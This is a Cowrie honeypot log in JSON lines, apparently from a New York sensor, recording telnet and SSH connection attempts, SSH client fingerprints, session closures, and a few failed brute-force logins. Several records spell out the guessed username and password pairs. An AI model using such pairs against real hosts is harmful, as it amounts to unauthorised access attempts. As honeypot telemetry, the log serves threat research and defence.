{"eventid":"cowrie.session.closed","duration":31.05547261238098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:20.070231Z","src_ip":"108.61.242.114","session":"c31c381046ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":82.37365198135376,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:20.187702Z","src_ip":"185.111.235.80","session":"aeecddc9b1a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":60794,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4b0c33ef34b","protocol":"telnet","message":"New connection: 108.61.242.114:60794 (10.17.0.5:23) [session: e4b0c33ef34b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:20.512664Z"}
{"eventid":"cowrie.session.closed","duration":31.03474521636963,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:20.893193Z","src_ip":"185.111.235.80","session":"098794939d2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53852,"dst_ip":"10.17.0.5","dst_port":23,"session":"26c6ef2aa3d7","protocol":"telnet","message":"New connection: 185.111.235.80:53852 (10.17.0.5:23) [session: 26c6ef2aa3d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:21.109695Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":38522,"dst_ip":"10.17.0.5","dst_port":22,"session":"357209080cf9","protocol":"ssh","message":"New connection: 176.65.139.103:38522 (10.17.0.5:22) [session: 357209080cf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:21.436319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:21.549040Z","src_ip":"176.65.139.103","session":"357209080cf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:21.555921Z","src_ip":"176.65.139.103","session":"357209080cf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":51848,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9b6a7c3eaa9","protocol":"telnet","message":"New connection: 185.111.235.80:51848 (10.17.0.5:23) [session: a9b6a7c3eaa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:21.607831Z"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:22.011047Z","src_ip":"176.65.139.103","session":"357209080cf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53518,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ca410588628","protocol":"telnet","message":"New connection: 185.111.235.80:53518 (10.17.0.5:23) [session: 4ca410588628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:22.057504Z"}
{"eventid":"cowrie.session.closed","duration":38.9393789768219,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:22.243432Z","src_ip":"185.26.126.47","session":"cb3f1abfee41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.954094886779785,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:22.941031Z","src_ip":"185.111.235.80","session":"792589d55a3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:23.093735Z","src_ip":"176.65.139.103","session":"357209080cf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":60802,"dst_ip":"10.17.0.5","dst_port":23,"session":"9375e56d03f0","protocol":"telnet","message":"New connection: 108.61.242.114:60802 (10.17.0.5:23) [session: 9375e56d03f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:23.111359Z"}
{"eventid":"cowrie.session.closed","duration":30.949862480163574,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:23.273926Z","src_ip":"185.111.235.80","session":"abcfcbd9fa39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18017578125,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:23.541718Z","src_ip":"185.111.235.80","session":"41a511bfcd89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":60814,"dst_ip":"10.17.0.5","dst_port":23,"session":"5dc5eaf84e80","protocol":"telnet","message":"New connection: 108.61.242.114:60814 (10.17.0.5:23) [session: 5dc5eaf84e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:23.924495Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":59884,"dst_ip":"159.203.135.109","dst_port":23,"session":"79e0db52c72c","protocol":"telnet","message":"New connection: 117.120.7.112:59884 (159.203.135.109:23) [session: 79e0db52c72c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:23.989269Z"}
{"eventid":"cowrie.session.closed","duration":30.414148330688477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:24.043300Z","src_ip":"185.111.235.80","session":"5e5ebf981a2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.7561571598053,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:24.827643Z","src_ip":"185.111.235.80","session":"eb1ae42e9d33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.901527643203735,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:25.679935Z","src_ip":"185.111.235.80","session":"72ee83d6974c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14259696006775,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:26.628075Z","src_ip":"108.61.242.114","session":"9f274a9e0de1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":60824,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e7cf1bfb84c","protocol":"telnet","message":"New connection: 108.61.242.114:60824 (10.17.0.5:23) [session: 1e7cf1bfb84c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:26.826389Z"}
{"eventid":"cowrie.session.closed","duration":30.953813552856445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:26.887586Z","src_ip":"185.111.235.80","session":"b8200a08cbc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.418107509613037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:26.905291Z","src_ip":"185.111.235.80","session":"abc7734aa7fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.435901641845703,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:26.909552Z","src_ip":"185.111.235.80","session":"2e10ec573302","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":60826,"dst_ip":"10.17.0.5","dst_port":23,"session":"86da685eca4e","protocol":"telnet","message":"New connection: 108.61.242.114:60826 (10.17.0.5:23) [session: 86da685eca4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:27.077773Z"}
{"eventid":"cowrie.session.closed","duration":30.860216856002808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:27.217865Z","src_ip":"108.61.242.114","session":"415af374344c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.556077480316162,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:27.422829Z","src_ip":"185.111.235.80","session":"843b74d354be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":60842,"dst_ip":"10.17.0.5","dst_port":23,"session":"90ef88fbcbb6","protocol":"telnet","message":"New connection: 108.61.242.114:60842 (10.17.0.5:23) [session: 90ef88fbcbb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:27.544972Z"}
{"eventid":"cowrie.session.closed","duration":31.342049598693848,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:27.737679Z","src_ip":"108.61.242.114","session":"c9100342c0f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.596211910247803,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:27.768815Z","src_ip":"185.111.235.80","session":"a23a1283e8fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":60852,"dst_ip":"10.17.0.5","dst_port":23,"session":"0253ffb9d4b5","protocol":"telnet","message":"New connection: 108.61.242.114:60852 (10.17.0.5:23) [session: 0253ffb9d4b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:27.799654Z"}
{"eventid":"cowrie.session.closed","duration":30.860898971557617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:27.923070Z","src_ip":"185.111.235.80","session":"40f900813270","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":40692,"dst_ip":"10.17.0.5","dst_port":23,"session":"20785eb314b4","protocol":"telnet","message":"New connection: 108.61.242.114:40692 (10.17.0.5:23) [session: 20785eb314b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:28.321778Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":43310,"dst_ip":"10.17.0.5","dst_port":22,"session":"05766dc4e95f","protocol":"ssh","message":"New connection: 176.65.139.103:43310 (10.17.0.5:22) [session: 05766dc4e95f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:28.445381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:28.450505Z","src_ip":"176.65.139.103","session":"05766dc4e95f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:28.542233Z","src_ip":"176.65.139.103","session":"05766dc4e95f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:28.811673Z","src_ip":"176.65.139.103","session":"05766dc4e95f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.032149076461792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:29.144942Z","src_ip":"185.111.235.80","session":"bf5943f05a8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.413421630859375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:29.623054Z","src_ip":"185.111.235.80","session":"76f6caa05598","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":40696,"dst_ip":"10.17.0.5","dst_port":23,"session":"7eee5cd18c4d","protocol":"telnet","message":"New connection: 108.61.242.114:40696 (10.17.0.5:23) [session: 7eee5cd18c4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:29.815133Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:29.928955Z","src_ip":"176.65.139.103","session":"05766dc4e95f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.40929865837097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:31.015992Z","src_ip":"108.61.242.114","session":"14a231ac9833","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.948097229003906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:31.035879Z","src_ip":"108.61.242.114","session":"e0a386718726","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":40706,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cfc1d674165","protocol":"telnet","message":"New connection: 108.61.242.114:40706 (10.17.0.5:23) [session: 9cfc1d674165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:31.190207Z"}
{"eventid":"cowrie.session.closed","duration":31.094192504882812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:31.197185Z","src_ip":"185.111.235.80","session":"db9988ec9b9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":40720,"dst_ip":"10.17.0.5","dst_port":23,"session":"41d6d651aec4","protocol":"telnet","message":"New connection: 108.61.242.114:40720 (10.17.0.5:23) [session: 41d6d651aec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:31.334773Z"}
{"eventid":"cowrie.session.closed","duration":30.886098623275757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:32.190513Z","src_ip":"185.111.235.80","session":"5c6fde513842","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35054,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e31356b6f08","protocol":"ssh","message":"New connection: 159.203.92.129:35054 (159.203.135.109:22) [session: 4e31356b6f08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:32.949641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:32.954731Z","src_ip":"159.203.92.129","session":"4e31356b6f08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:32.958710Z","src_ip":"159.203.92.129","session":"4e31356b6f08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"1qaz2wsx#EDC","message":"login attempt [ansible/1qaz2wsx#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:32.970775Z","src_ip":"159.203.92.129","session":"4e31356b6f08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":40722,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a5de0392325","protocol":"telnet","message":"New connection: 108.61.242.114:40722 (10.17.0.5:23) [session: 6a5de0392325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:33.181783Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:33.976655Z","src_ip":"159.203.92.129","session":"4e31356b6f08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.6407470703125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:34.225230Z","src_ip":"185.111.235.80","session":"20d77438bdb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58879828453064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:34.279458Z","src_ip":"108.61.242.114","session":"63f1ce054bd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87562584877014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:35.184875Z","src_ip":"108.61.242.114","session":"96fdc4152554","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":49494,"dst_ip":"10.17.0.5","dst_port":22,"session":"054251474d22","protocol":"ssh","message":"New connection: 176.65.139.103:49494 (10.17.0.5:22) [session: 054251474d22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:35.262141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:35.347189Z","src_ip":"176.65.139.103","session":"054251474d22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:35.351273Z","src_ip":"176.65.139.103","session":"054251474d22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.932846307754517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:35.378400Z","src_ip":"108.61.242.114","session":"e25c44a88ccd","protocol":"telnet"}
